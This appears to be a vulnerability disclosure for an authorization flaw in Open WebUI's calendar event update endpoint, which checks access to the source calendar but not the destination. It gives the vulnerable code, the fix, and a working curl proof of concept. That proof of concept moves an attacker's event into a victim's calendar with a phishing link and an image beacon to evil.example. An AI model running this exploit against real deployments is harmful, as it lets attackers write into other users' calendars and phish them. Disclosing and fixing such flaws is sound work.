Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar

@router.post('/events/{event_id}/update', response_model=CalendarEventModel)
async def update_event(
    request: Request, event_id: str, form_data: CalendarEventUpdateForm,
    user: UserModel = Depends(get_verified_user)
):
    await check_calendar_permission(request, user)
    event = await CalendarEvents.get_event_by_id(event_id)
    if not event:
        raise HTTPException(status_code=404, detail='Event not found')

    await _check_calendar_access(event.calendar_id, user, 'write')   # ← SOURCE only

    updated = await CalendarEvents.update_event_by_id(event_id, form_data)  # ← writes form_data.calendar_id
    ...

update_data = form_data.model_dump(exclude_unset=True)
for field in [
    'calendar_id',          # ← destination persisted with no ACL
    'title', 'description', 'start_at', 'end_at', 'all_day',
    'rrule', 'color', 'location', 'is_cancelled',
]:
    if field in update_data:
        setattr(event, field, update_data[field])

await _check_calendar_access(form_data.calendar_id, user, 'write')

git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d        # http://localhost:3000

VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}"
# → 403

ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

# 1. create in own calendar
EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')

# 2. move into victim's calendar — NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}"
# → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>"

curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool

[{
  "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
  "calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
  "user_id": "7554dd33-e220-44cb-8441-169c55eef4f5",
  "title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
  "description": "Session expired.",
  ...
}]